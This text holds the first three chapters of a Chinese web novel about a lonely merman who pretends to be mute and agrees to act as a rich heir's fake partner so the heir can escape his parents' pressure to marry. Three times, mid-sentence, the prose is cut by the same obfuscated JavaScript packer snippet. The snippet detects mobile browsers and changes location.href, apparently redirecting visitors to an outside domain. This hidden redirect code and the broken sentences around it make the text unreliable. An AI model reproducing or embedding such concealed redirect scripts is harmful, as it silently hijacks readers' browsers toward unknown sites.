《鲛人装哑巴后被读心了》 1. 上岸的第1天 深蓝的海一望无际，波涛拍打着沿岸礁石，卷起层层白色浪花，阳光洒落在波光粼粼的水面上，金与蓝交融，织就一幅壮美的画卷。 海洋深处，宝石般的双眸缓缓睁开，一条修长而有力的鱼尾摆动，水波荡漾，鲛人向着上方的光源游动—— 然后他就被一张网糊了满脸。 那海藻般柔顺的长发，变得凌乱不堪，细腻白皙的皮肤，在挣扎过程中勒出道道红痕，粗糙材质磨破了侧颈。 棠溪生奋力摆动着身下银蓝色的鱼尾，抬起蹼爪撕扯，用锋利的牙齿去咬，终于挣脱了废弃渔网的束缚。 他愤怒地吐了个泡泡。 棠溪生觉得今天自己不该睁眼，或者睁眼的方式错了，因为他昨天照常和爹娘打了招呼，在巨大的砗磲里入睡，结果今天一觉睡醒，一切都变了。 首先，他最熟悉的海洋变陌生了。 往日清澈碧蓝的大海，不知怎的，变成了浑浊的深蓝，许多垃圾漂浮在水里，散发着扑鼻的恶臭。 其次，他的爹娘和族人都不知所踪。 以前每当第一缕晨光洒落，爹娘都会来敲开他住的砗磲，带他出去猎食，但今天他是自己睁眼的，其他族人也没有来找他。 棠溪生作为即将接过族长重任的成年鲛人，倔强地跨越了半片海域，四处寻找他的爹娘和族人，却怎么也找不到。 他悲愤交加，直接晕了过去。 棠溪生再次睁眼，悲哀地接受了这个事实：他似乎成了世间最后一条鲛人。 而且，这片海域不再适合鲛人生存。 于是棠溪生收拾好全部家当，恋恋不舍地将它们放进砗磲里，然后摆动鱼尾，小心翼翼地避开各种废弃物，努力朝上游。 等到棠溪生终于在海面上探出脑袋，路过的轮船发出响彻天际的嗡鸣声，将他吓得一头扎回海里。 下一秒，棠溪生被铁制圆桶打到了鼻子。 ……好疼。 棠溪生委屈地皱眉，两滴眼泪滚落，还没来得及彻底融进大海，就化作几颗莹润洁白的珍珠。 他眼疾手快，抓住了其中一颗。 这种普通得不能再普通的珠子，鲛人一哭就会产生，小鲛人出生的时候，深海里飘的到处都是。 棠溪生平常不屑一顾，有时甚至会甩甩尾巴，将珍珠挨个弹走。 但他现在孤身一人。 这是最后与族群有关的东西了。 棠溪生紧紧攥住那颗哭出来的珍珠，眸光更加坚定，他下潜些许距离后，再度朝着海岸边游去。 /// “妈，我不需要相亲，我当您的小棉袄还不够温暖吗？再找一件也不嫌捂得慌。” 海岸边，穿着休闲卫衣的男人正在打电话，竭力抑制住语气中的不耐烦。 他身形高大，剑眉星目，脸庞棱角分明，正是世界一流家族企业，齐氏集团最小的儿子—— 齐思筠。 电话那头，齐母语气焦灼，“你上个月不是凭空多了个对象出来吗？我盼了一个月也没见着，一看就是糊弄鬼的，儿子，你就别挣扎了，乖乖去相亲，就当跟人家吃顿饭。” 齐思筠摇头，“一顿复一顿，一顿何其多。”* 齐母：“见一个，往你卡里多打个零。” 齐思筠义正辞严，“安能摧眉折腰事爹娘，使我不得开心颜。”* 齐父夺过电话，“别听你妈的，哪能一见面就吃饭？你爸当年可不是这么追的你妈。” “爸教你，得先顺着对方的意思，摸清楚情况，具体问题具体分析，实在不行再换下一个。” 齐思筠叹气，“谈恋爱讲究眼缘，又不是新产品上市走流水生产线，爸，按照您的说法，我还得发篇SCI不成？” “那倒也不是不……” “齐礼安，哪年的老黄历了，还挂在嘴边呢？我告诉你，时代变了！” “哎，我这不是心急吗？儿子要不会追人，我不得教教他，想当年……” “当年那是你追的我吗，啊？” “难道不是吗？” “还嘴硬！还嘴硬！” 电话里隐约有噼里啪啦声传来，齐思筠猜到女子单打项目正如火如荼地进行，无奈道：“妈，求您疼惜我爸，我就这么一个爸，您别真给玩死了；爸，您就别死要面子活受罪了……” 钟慕仙气喘吁吁，“那你就争点气，赶紧谈个恋爱、结个婚，看看实力，妈不介意你打我的脸！” 齐思筠：“我是说过我有个对象，但不代表明天就要领证，谢谢关心么么哒，妈，您这么漂亮，不打脸算是给您省去医美的钱了。” “你知道你妈漂……”钟慕仙嘴角上扬到一半，硬生生止住，“打住，拍马屁没用。” 齐礼安：“爸找算命先生给你看过了，他说你的福气就在今年，能找到个温柔贤惠、安静善良的另一半。” 齐思筠：“这福气让给您您敢要吗？我找的算命先生还说我前半辈子‘开满了烂桃花，朵朵挡财运’呢。” “那倒也……” 钟慕仙：“你就是思维太容易被他带跑了！现在的问题是什么？是儿子必须得去相亲，儿子，你听妈的——” 齐礼安：“我哪被带跑了？冤枉！咱俩的出发点是一致的，儿子，你听爸的——” 齐思筠头疼，“停，都别吵吵了！” “妈，您该去老年大学打太极就去；爸，您上次不是说想打球？您现在直接出门，外边儿人八抬大轿等着呢。” 钟慕仙：“嗬，长大了，不过等思雅找你，我看你……” 齐思筠连忙打断，“那太遗憾了我亲爱的妈妈，我姐最近在国外，没空搭理我。” 钟慕仙警觉，“不对，你在哪？怎么有风声？” 齐思筠仰天，“我在哪还要时刻跟您汇报？我是您亲儿子，不是gps——信号不好，挂了。” 修长的手指轻点，屏幕瞬间熄灭。 齐思筠长呼一口气，眉宇间满是疲惫，他轻揉太阳穴，感受着脚底轻微下陷的白沙，沉默不语。 许管家默默跟在齐思筠身后，此刻忽然发声：“少爷，冒昧问一句，您的对象究竟是谁？” “许叔，这里也没有外人，你就别喊什么‘少爷’了。”齐思筠苦笑道：“我在我爸妈面前，就是个孙子。” “好的少爷，没问题，但是您这样喊会乱了辈分。” 齐思筠：“……” 这话还挺有道理的。 许管家：“少爷，您就算要用缓兵之计，也没必要说‘有对象’了，老爷和夫人见不到真人，是不会轻易放过您的。” 这句就有点像恐怖片了。 “真有这么个人，但我对象比较内向，不爱和人接触，我今天还喊他来海边玩，”齐思筠猛然回首，随手朝远处一指，“就是他。” 许管家刚要质疑，就看到礁石后面冒出了半颗毛茸茸的头，“少爷？” 齐思筠挑眉，“没事许叔，你别动，小心吓着人，我过去看看。” 许管家：“好的少爷。” 这片海域远离市中心，水质比较干净，人烟稀少，勉强能算半个世外桃源，附近就这么几栋别墅—— 当然，都是齐家名下的。 每当齐思筠感到心烦意乱，就爱跑到这边来住几天，在海边吹吹风，踩踩沙子，逃避一下世俗的烦恼。 除了卡里的钱花不完，不努力就要回去继承家业，齐思筠近期唯一的烦恼，来源于他的亲生父母。 ——无休无止的催婚。 在老一辈眼中，像他这种只花钱不创业，有点兴趣爱好，堪称根正苗红的好青年，目前就只剩下结婚这一项任务了。 ……生怕他没人要似的。 齐思筠放缓脚步，思绪回转，他刚刚信口胡诌，想分散许管家的注意力，这样好开溜，没想到石头后面真的有人。 门卡在他手里，进来还需要指纹和声纹双重验证，这人是从哪溜进来的？ 总不可能是海里爬出来的。 那颗头颅本来在轻微晃动，也许是听到脚步声靠近，突然整个缩到了礁石背面，齐思筠觉得有点好笑。 躲起来就能不被他看到了吗？ 简直是掩耳盗铃。 齐思筠淡声道：“出来吧，我看到你了。” 慵懒好听的男声从不远处传来，棠溪生原本抱着膝盖，躲藏在礁石后面，此刻，如同黑曜石般明亮的双眸划过一丝不可置信，银蓝光辉于其中流转。 他明明藏得很好，这个人是怎么看到他的？ 难道是在骗他吗？ 齐思筠停在原地，认真道：“不肯出来没关系，但是你得搞清楚一点，周围都是私人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607029|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 别墅，非法闯入民宅会被拘留，你也不希望被别人知道吧？这位朋友。” “不如我们做个交易，我不计较你的过错，你帮我个忙，怎么样？” 棠溪生作为海底出生的纯种鲛人，许多年没上过岸，他刚刚尝试了许久，才将鱼尾收回，变成双腿，然后又使了个幻术，让自己在旁人眼里看起来不是光溜溜的。 尽管挂在他身上的唯有一只水母。 眼下，棠溪生当然不理解“私人别墅”、“非法闯入”和“拘留”等高级词汇，但他听懂了“交易”。 这是爹娘以前上岸再回来以后，经常对他提及的词语。 棠溪生当时只知道又有好吃的了，没考虑其他，如今听到这两个字从陌生人嘴里蹦出来，他的眼眶倏忽有些温热。 齐思筠自顾自地往下说：“不管你是男是女，单身就行——帮我冒充一下我对象，躲过我家里人的催婚，为期半年。” “在此期间，你可以住在我家，吃喝全免，费用全包，考虑清楚就出来。” 半年足以做很多事了。 眼下正好有个现成的人选，如果不把握住，等下许叔一通电话直通他爸妈的天灵盖，到时候关机装死都没用。 齐思筠自认为开出的条件很诱人，实际上是他牛皮吹大发了，这会儿狗急跳墙，没看到人都觉得风韵犹存。 ……感觉就像盲盒瘾犯了。 齐思筠决定奖励自己一套手办，安抚即将受伤的心灵。 礁石连成一片，形态各异，无比巨大，棠溪生这才反应过来：那个人恐怕看不到自己，于是他站起身走了出来。 齐思筠瞬间眼前一亮。 面前的青年身着普通的白色t恤，鼻高唇薄，一双桃花眼清澈透亮，仿佛有万千星光流转，正目不转睛地盯着他。 及腰的黑色长发微卷，发尾泛蓝，应该是最新款式的挑染。 五官妖孽，不似凡间俗物，偏偏有双不谙世事的眼，中和了那种微妙的非人感，细细打量，活脱脱是一位未经过包装的明星。 单论这副容貌，会是私自闯入别人家里的小偷吗？ 肯定不是。 齐思筠喉结轻轻一滚，同时注意到这人的皮肤异常白皙，几乎能看到底下的血管，犹如精美脆弱的瓷器，于是棠溪生右颈那几道伤痕，就变得异常显眼。 齐思筠提醒道：“你脖子受伤了。” 棠溪生点点头，表示他知道了。 鲛人体质特殊，只要泡在水里，伤势很快就能自愈，但他是不是该放任不管，表现得柔弱些，才更符合人类的体质？ 棠溪生有点纠结。 齐思筠不自觉放缓了声线：“刚才我说的那个条件，你答应了吗？” 棠溪生的思绪被迫中断，眼里流露出些许迟疑。 对于鲛人来说，人类世界的绝大部分事物都很陌生，所以需要谨慎对待。 他刚才找了个看似没人的地方上岸，结果不仅有人，这人还把他吓了一跳，他更没考虑到这些屋子都是有主的。 陆地远不如大海那样宽阔包容。 但他失去了亲人，无处可去，仍需要适应岸上的一切，答应下来也许是个不错的选择。 相由心生。 这人长得端正，应该不会是坏人吧？ 棠溪生不太适应刚变出的人腿，慢吞吞地向齐思筠靠近，他垂眸时，纤长浓密的睫毛轻颤，在眼下投出一小块阴影。 最重要的是，冒充对象就能免费吃住半年，听起来很划算。 棠溪生走到齐思筠面前，郑重点头。 “合作愉快，以后你就是我的朋友了，”齐思筠刚才还有些担忧，现在心落回肚子里，“对了，你叫什么名字？” 朋友。 棠溪生默默念了一下这两个字，想起了自己的鲛人朋友们，他盯着齐思筠看了一会儿，唇瓣轻抿。 鲛人的歌声能迷惑周围生物，清洗记忆，发声方式有别于人类。 据族里长辈说，上岸后暴露身份的鲛人，通常都会被科学家抓去做实验，直到死亡，撇开这点不谈，棠溪生刚成年不久，还不能控制好声音，稍不注意，这个长得还不错的人类会死。 ……好麻烦哦。 还不如装成哑巴。 棠溪生眼眸低垂，摊开右手，将掌心的那颗珍珠递给齐思筠，“啊。” 2. 上岸的第2天 “啊～”齐思筠拗出个高音，比划了一番，“是什么意思？” 棠溪生无辜地注视着齐思筠，伸出另一只手，再次确认上面没有薄膜和鳞片，五指修长干净，他指着喉咙，轻轻摇头。 这么好看，竟然是个哑巴。 齐思筠瞬间明白了。 可惜了。 不过这样也好，至少不会在他爸妈面前乱说话，拿来做挡箭牌很合适。 齐思筠心里连续闪过几个念头，还想说些什么，接连不断的振动传来。 一阵滑稽的铃声突然响起。 “主人主人，快点回家吃饭；主人主人，敢不听话就打屁屁；主人主人，挑食的话要低声些，胃疼难道很光彩吗……” 齐思筠听到这熟悉且欢快的电子机械音，神情一瞬扭曲，伸手掐断了铃声。 闹心。 这么多年他还是没办法习惯。 齐思筠作为新时代的大好青年，自认为浑身上下都是优点，唯一的缺点也微不足道—— 挑食。 小时候的齐思筠到处疯玩，到饭点不肯吃饭，如果菜不好吃，他就算愿意上桌，也吃得很少，经常有满屋子保姆追在他屁股后面喂饭，活像是猫捉老鼠。 齐思雅作为姐姐，深谙弟弟的臭毛病，在齐思筠拥有手机的第一天，就定制了这个铃声，一到饭点就反复响铃，还威胁人“不准改”。 所以，齐思筠（屈服于黑暗势力的压迫版）一用就是很多年。 许管家的声音从前方飘来，“少爷，您该回家吃饭了。” 天大地大，吃饭最大。 心情再不好也得填饱肚子，不然哪来的精力和爸妈斗智斗勇？ 当然，目前仅限于催婚这件事。 比起小时候明目张胆的叛逆，齐思筠早已成长，学会了迂回战术。 “知道了许叔，”齐思筠接过珍珠，放进左胸前的口袋里，回以灿烂一笑，“谢谢，你的心意我收下了。” 不过这是哪来的珍珠，在沙滩上捡到的吗？ 成色不错，运气可够好的。 齐思筠笑起来时，露出一颗尖尖的小虎牙，原本锋利的线条变得柔和，同时，他碰到了棠溪生的手心，眉心微蹙。 凉得像一块冰。 棠溪生感受到齐思筠骤然抽离的指尖，慢慢垂下眸，看着空无一物的手掌，模样有点懵懂。 珠子送出去了。 他既感到开心，又有些难过。 齐思筠：“走吧，这位不知名的小朋友，一块儿回家吃饭，许叔在前面等着我们呢。” 棠溪生一脸茫然，抬手比划，“啊。” 谁。 他吗？ 齐思筠示意棠溪生跟上，“走走走，我十成新的对象，别客气，王婶做饭很好吃。” 对于常年居住在深海的鲛人来说，人类的体温还是太高了，棠溪生盯着齐思筠圆滚滚的后脑勺，感受着腕间传来的温热，视线逐渐放空。 这个人有点自来熟。 不过这样也好。 作为交易对象，他只需要乖乖配合齐思筠，努力藏好鱼尾巴，等六个月过去，他肯定适应了人类生活。 到时候再找合适的机会离开就行。 /// 回去的路不算太长，从海滩折返，很快就能看到别墅群的影子，一路上，许管家亦步亦趋地跟在齐思筠身后，只是从见到棠溪生起，他的眼神就有点不太对劲。 齐思筠回头，“许叔，你有心事？” 许管家恭敬道：“少爷，您很久没有这样笑过了。” 天天被催婚，搁谁身上笑得出来。 “是吗，”齐思筠当场表演了个尬笑，“哈哈哈。” 棠溪生不能也不敢说话。 三人很快就走到了一栋别墅门口，齐思筠行云流水般完成开门工作，嘴里念念有词：“阿拉霍洞开！” 棠溪生不懂。 棠溪生保持着礼貌的微笑。 “奇怪，我还有双联名拖鞋哪儿去了，”齐思筠拉开鞋柜，低头弯腰，“找到了，给。” 他把同款黑兔子拖鞋递给棠溪生。 棠溪生没有客气，悄悄改变脚上的幻术，接过拖鞋穿上。 齐思筠换好了拖鞋，朝着宽敞的客厅缓缓吐气，“我回来了。” 客厅的保姆们停下了手头的动作，迅速站成一排，“少爷中午好！” 棠溪生顿时被吓得视线无处安放，猛然抬首，结果被繁复灯饰所散发的冷冽灯光刺痛了双眼，他当即呆在原地。 深海里没有如此强的直接光源，鲛人一族顺应自然规律，进化出了夜视力极佳的双目，但登岸后，无法在短时间里适应这种非自然的灯光。 棠溪生揉揉眼睛，退至齐思筠身后。 齐思筠：“各位中午好，辛苦了。” 保姆们纷纷回到工作岗位，许管家还在门口收拾，鞋柜很快就恢复了原本的模样。 感受到了棠溪生的不对劲，齐思筠回过头，“怎么了？” 鲛人之间互相串门就是一摆尾巴的事，但这是棠溪生这辈子第一次到人类家里做客，他不想给齐思筠添麻烦，于是轻轻摇头，模样极其乖巧。 只是脖子上的几道红痕十分显眼。 齐思筠欲言又止：“你的伤……” “啊。”棠溪生略微歪头，用指尖轻轻触碰了下脖子，瞬间蹙眉。 虽然不碍事，但确实有细微的疼感。 齐思筠扭头道：“许叔，麻烦你帮我对象处理下伤口。” 对象。 棠溪生猝不及防被冠上这个名号，不知所措地看向齐思筠。 鲛人的寿命很长，通常一生只有一位伴侣，一旦认定了对方，便是生死相依，而人类一生短暂，却能拥有很多不同类型的对象，比如：交易对象、结婚对象、出轨对象…… 还有这种没有任何前缀的“对象”。 其中，某一类对象最为特殊，需要两名人类一起去相同的地方，然后领一个红色的、盖好章的小本子回来。 但爹娘给他科普时仅用几句话带过，他现在记不清具体是哪一种了。 棠溪生有点疑惑。 他现在不用签订协议，领小本本，就已经成为齐思筠的对象了吗？ 许管家：“好的少爷，请您稍等一下。” “许叔你等等，”齐思筠忽然改变了主意，“还是我自己来吧。” 许管家顿住脚步，看了眼棠溪生，嘱咐道：“好的少爷，记得带您的朋友下来吃饭。” 棠溪生说不准许管家的目光是欣慰还是其他情绪，不着痕迹地转眸避开。 齐思筠答应道：“好，知道了，你去忙吧许叔，别成天守着我了，我又不是小孩子。” “是，少爷。”许管家转身去忙别的事了。 齐思筠带棠溪生踩着回旋楼梯上了二楼，穿过长廊，回到他住的房间，好一阵折腾，终于找到了家用医疗箱。 棠溪生看着满地狼藉，目瞪口呆。 齐思筠捏着根一次性消毒棉棒，“你把头发稍微弄一下，我帮你上药。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607030|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 棠溪生把长发撩到左侧，朝着齐思筠露出整截白皙修长的颈脖，只是人还呆立在原地，像一尊精心雕琢的木雕。 齐思筠撕开透明包装袋，“不用这么拘谨，你现在的身份是我对象，我家就是你家，你家还是你家，放轻松点儿，怎么舒坦怎么来。” “椅子和床都有，你随便挑一个坐，我俩都站着，不方便。” 棠溪生看了看那张柔软舒适的大床，又将视线转回椅子上，他走过去，在椅子上坐好，乖巧回望齐思筠。 齐思筠用消毒棉棒，替棠溪生擦拭伤口，他动作轻柔，下意识吹了口凉气。 棠溪生缩了缩脖子，眼角沁出几滴泪水，他飞快抬手揩掉，用余光瞄了眼旁边的齐思筠，心里长舒一口气。 好险。 再晚一秒，他就要当着人类的面掉小珍珠了！ 齐思筠唇角微扬，那颗小虎牙在棠溪生眼前跳了跳，“你叫什么名字？” 棠溪生抬手比划。 齐思筠：“抱歉，是我忘了，你把名字打在你的手机……不对，你身上有手机吗？” 棠溪生摇摇头。 刚刚在海滩上，齐思筠用过一个长方形的、薄薄的小盒子，那应该就是手机。 但这种东西，鲛人一族都没有。 因为平日生活在大海里，可以用声音联系同族，手机并不是必需品，就算上岸后能用到手机，再带回海里也不太现实。 “……到底是怎么跑到海滩上来的。”齐思筠顿时同情心泛滥了，承诺道：“我下次带你出去，你挑个喜欢的。” 这是要给他买手机的意思吗？ 棠溪生身形微怔，当即觉得有些不好意思，但他转念一想，自己现在是齐思筠正儿八经的对象，这半年时间指不定要做更多事来圆谎。 他瞬间就释然了。 齐思筠：“我总得知道怎么称呼你，我手机不太方便拿给你看，这样，你把名字写在纸上。” 写字而已，他还是会的，只不过很多年没写过，估计手生了。 棠溪生点头答应了。 齐思筠翻箱倒柜，找出以前用过的所有笔，将它们一字排开，摆在桌上。 棠溪生挪到桌前，看着那堆花花绿绿、长短不一的条状物，感到头晕目眩。 他记得自己上一次化出双腿时，用来练习写字的笔不长这样，笔头应该是毛茸茸的，稍微往上施力，尖端就会炸开，沾的墨汁还会飞溅…… 好像叫作“毛笔”。 但既然都是笔，应该不会出问题。 齐思筠递上一支铅笔，“用这个，别的水笔都没墨了。” 棠溪生接过齐思筠手里那支铅笔，像握住一把匕首似的，将它整个攥在掌心里，他深呼一口气，在展开的A4纸上开始划拉。 半晌过后，终于在上面爬出歪歪扭扭的三个大字—— 堪称惊天地泣鬼神。 “我看看，堂……嗯，棠，棠溪——棠溪是个很少见的复姓，”齐思筠用手摩挲着下巴，开始胡乱猜测，“最后一个字是什么，是王吧？” 你才王八。 你全家都王八！！！ 棠溪生不满地撅起嘴，捏着铅笔，将左上角竖和撇的那两笔，来回描了好几遍，他抬首时，正对上齐思筠那双琥珀色的眼睛，眸中闪烁着期冀的光。 ——还能不能喊对他的名字了？！ “我知道了。”齐思筠勾了勾唇角，露出那颗小虎牙，喊道：“棠溪生。” 嗓音低沉而慵懒，十分悦耳。 3. 上岸的第3天 好奇怪的感觉。 棠溪生雪白的耳根微微发红。 齐思筠：“名字很好听，看你的样子，我应该比你大，以后我就叫你‘小生’了？” 棠溪生心里知道肯定是自己的年龄更大，但无法反驳，他对这个称呼没意见，乖顺地点点头。 “你不用管，”齐思筠将那张A4纸折叠起来，和珍珠一起收进抽屉，制止了伸手想帮忙的棠溪生，“我来收拾就行。” 棠溪生犹豫再三，听话靠边站好，蹭蹭蹭连后好几步，仿若在避开洪水猛兽。 齐思筠哭笑不得，“小生，倒也不用这么远吧？” 鲛人一族交流用的都是歌声，如果要特地称呼名字，则会用不同频段的音波来区分，以前只有一个朋友给他取过小名。 不过，第一次被人类这么喊昵称，似乎还挺有趣的。 棠溪生心念微动，依言站近了些。 齐思筠收拾完毕，一屁股坐在大床上，拍了拍身旁的空位，“小生，过来坐，我问你几个问题，不会很复杂，你点头摇头就行了。” 该不会是发现他身上的异常了吧？ 棠溪生心里咯噔一下，无辜地眨眨眼，坐到齐思筠旁边。 临近夏季，本就闷热，尽管空调一刻不停地运转着，但两个人并排坐在一张床上，刚降下来的体温似乎都能传递给对方。 不管了。 兵来将挡，水来土掩。* 先听听看。 “如果冒犯到你了，我先提前道歉。”齐思筠问：“小生，你现在是不是没有在上学了？” 上学。 好新奇的概念。 就像以前谁提过的“私塾”吗？ 但齐思筠问这个问题而不是别的，也变相证明了身份没有暴露，棠溪生放下心来，如实点头。 “难怪，力透纸背，”齐思筠扼腕叹息，“我看你刚刚握笔的姿势，简直像要把那张白纸给刀了似的。” 把白纸给刀了。 什么意思？ 棠溪生疑惑侧目。 可是以前有人教过他，毛笔就是这么握的，按理来说，别的笔应该差不多，最重要的是，他都写出来了。 如果刚刚那个姿势不对，那么一定是笔的问题！ 棠溪生啊啊两声，表达不满。 “别激动。”齐思筠温声说：“小生，你是不是离家出走了，所以身上才没有手机和任何能证明身份的东西？” 离家出走。 棠溪生听到这四个字，瞬间呆住了。 每片海洋其实都可以称作鲛人的家，只不过他们这个族群居住的海域比较固定，多年来不曾改变，但他不能算是离家出走，更像是被族群遗弃，因为爹娘和族人们都在一夜之间消失了。 他已经……没有家了。 棠溪生喉咙涌起阵阵酸涩，他垂下眼帘，朝着齐思筠摇摇头，继而轻轻点头。 “抱歉，”齐思筠语气歉疚，“我不是故意的，你别难过。” 他忽然想起来，这栋别墅后方的确有一条杂草丛生的小径，可以直接通往海边，棠溪生或许就是从那里钻出来的。 要命。 该不会是跟家里人闹矛盾，离家出走，身上值钱的东西都被偷了，一时想不开，所以准备跳海自尽吧？ 幸好遇到他了。 齐思筠越想越心惊，赶紧安慰道：“小生，你千万别想不开，跳海不可取，生命只有一次……你有什么难处，如果愿意的话，可以写在纸上告诉我，我试着帮你解决。” 棠溪生把刚要流出来的眼泪，硬生生憋回去了，呆呆地看向齐思筠。 鲛人最不怕的就是跳海了。 有机会的话，他甚至想天天跳海，跳那种很干净的海，畅快地游上一整晚。 但这片最熟悉的海域，环境变化天翻地覆，许多垃圾漂浮，气味难闻，稍微不注意就会受伤。 这样的大海，棠溪生实在是住不下去了，否则他一条鱼，也不会如此坚定地跑到岸上来，接触学习新事物。 不过，这人是在担心他吗？ 的确。 单凭他莫名其妙出现在海边这一点来说，就看起来十分不正常了呢。 棠溪生眨眨眼，忽然想起一个问题：鲛人长时间缺水的话，就会维持不了人形，变回原本的模样…… 他心尖倏地揪紧了。 棠溪生今天还没有进食过，更要命的是，刚刚上药的时候，他莫名感到口干舌燥，小腿肚和大腿根阵阵发软，这正是鲛人缺水的表现。 绝对不能暴露身份。 否则就要被人类抓走做实验，他可不想变成小鱼干！ 棠溪生朝着齐思筠竖起大拇指，向肩膀后面一指，接着揉了摸自己的肚子，眼神满是哀求之色。 他很想喝水，还想吃饭。 齐思筠恍然大悟道：“你饿了，想让我快点问完？” 棠溪生感动得几乎落泪，连点三下头，“啊啊啊！” 他之前上岸时十分谨慎，没有受过伤，并且记忆里似乎一直有人照顾他，不缺水和食物，没有这种烦恼。 但由于时间太久远，细节模糊不清，这个时代又发生了很大改变，他必须得重新适应，与时俱进。 棠溪生暗自下定决心：从今天开始，好好学习，努力做个合格的人类。 从短时间的接触和相处来看，齐思筠表现得礼貌热情，是个不错的观察学习对象，这桩交易总体还算顺利。 棠溪生感到满意。 “咚咚咚。” 敲门声响起，保姆出现在门口，“少爷，王婶说‘饭菜做好了’。” “马上。”齐思筠当即对着棠溪生说：“走，先吃饭。” 吃饭吃饭！ 棠溪生蹭的一下从椅子上弹起来。 /// 吊灯悬在餐厅顶部，柔和而均匀的暖光洒落，映照桌上色香味俱全的菜肴。 王婶和许管家二人站在桌边，其他保姆则站在远一点的位置，队列整齐有序。 棠溪生坐在齐思筠左手边，谨慎地模仿着齐思筠的动作，拿起筷子，他盯着桌上的麻婆豆腐、红烧排骨、水煮肉片等菜，睁大了双眼。 闻起来好香哦。 “咕～” 棠溪生的肚子不争气地叫了一声，他偷瞄旁边的齐思筠，拿筷子戳了戳碗里白花花的大米饭。 还好齐思筠没听到。 “王婶，许叔，这是我对象棠溪生。”齐思筠介绍道：“他比较腼腆，容易害羞，一般都是我去找他玩——你们快一起坐下吃。” 许管家：“少爷，您二位吃就好，不用管我们。” “小筠，你们多吃点，我就满足了，”王婶笑眯眯地将红烧排骨推到齐思筠跟前，“太太怕你不好好吃饭，特意喊我过来给你做顿饭，一会儿我还得赶回去陪太太呢。” 齐思筠笑道：“那行，谢谢王婶，也谢谢我亲爱的妈妈。” 他狠狠地咬了一口排骨。 “孩子，之前听小筠提起过你，这还是第一次见到真人，”王婶把另外几个瓷碗朝棠溪生推了推，“哎哟，长得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15607031|172102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可真水灵，就像大明星似的。” “喜欢的话，你也多吃点。” 棠溪生咬着筷子，咽下去一根青菜，然后放下手里的碗筷，对着王婶伸出拇指，弯曲两下。 这是表达感谢的手语。 王婶错愕地望向齐思筠，“小筠，这……？” 棠溪生瞬间低头，咕嘟咕嘟喝汤。 齐思筠抽了张纸擦嘴，“王婶，我对象嗓子做了手术，不能喊人，见谅。” 许管家没说话，眼神看不出情绪。 王婶略带忧愁地看了眼棠溪生，“多好的孩子啊，怎么就……哎！” 她见棠溪生白白净净，吃饭的模样慢条斯理，十分赏心悦目，本来就对棠溪生有几分好感，现在更是由衷的感到心疼。 棠溪生感受到齐思筠的视线，握着筷子的手一顿，朝王婶露出个浅浅的微笑，模样十分乖巧，看得人心都化了。 这么说倒也对。 就算迫不得已开口说话了，到时候还能把善意的谎言给圆回来，毕竟他没有亲口承认自己是哑巴。 棠溪生端着饭碗，略微出神。 他当时只是指了指嗓子，接着递出一个可怜巴巴的眼神，摇摇头，然后齐思筠就把一切都脑补好了，贴心得难以言喻。 总之，身份没有暴露，他还吃到比螃蟹、扇贝和金枪鱼好吃几百倍的饭菜了。 美食万岁！ 棠溪生舔掉筷子尖尖的酱油，心满意足地刨了一大口饭。 虽然他吃得慢，但是他吃的多啊。 王婶没再多说，拉走了旁边站着的许管家，“你们吃，我和你许叔就先走了，你隔壁那间屋收拾好了，可以直接住人，夜里风凉，记得窗别开这么大。” 齐思筠转头挥了挥手，“知道了王婶，你们路上注意安全。” /// 月上枝头，别墅里一片寂静，只有二楼的两间屋子亮着灯。 “吱呀。” 浴室的门打开，齐思筠从里面走出来，他歪头擦着湿漉漉的短发，腰间系着一块浴巾，水珠顺着颈脖滑进锁骨，胸肌和腹肌一览无遗。 此时此刻，棠溪生正坐在齐思筠的床上发呆。 齐思筠见状，疑惑道：“小生，怎么还没去洗澡？” 棠溪生听到齐思筠的声音，转首时露出个有些为难的眼神。 王婶和许管家离开以后，其他保姆也相继离开，偌大的别墅就只剩下了齐思筠和棠溪生两人，他们吃饱喝足以后，坐在楼底下看了会儿电视—— 当然，纯粹是齐思筠无聊想看。 棠溪生看不懂盒子里的人在叽叽喳喳些什么，他只觉得人类的世界有些吵闹，像是在罚坐。 过了好久，直到棠溪生昏昏欲睡，齐思筠转首道：“到点了，该去洗澡了。” 棠溪生猛然惊醒了。 齐思筠回屋洗澡，棠溪生只能和各种瓶瓶罐罐大眼瞪小眼，他尝试操作花洒，结果水温过高，烫得他差点尖叫，只好回齐思筠的房间里呆坐着。 终于等到齐思筠洗完澡出来。 还好他没放弃。 棠溪生仰起头，伸出胳膊，原本雪白的肌肤上出现了一大片红痕。 “烫伤？”齐思筠把毛巾一甩，轻轻捏住棠溪生的小臂，眉宇微微蹙起。 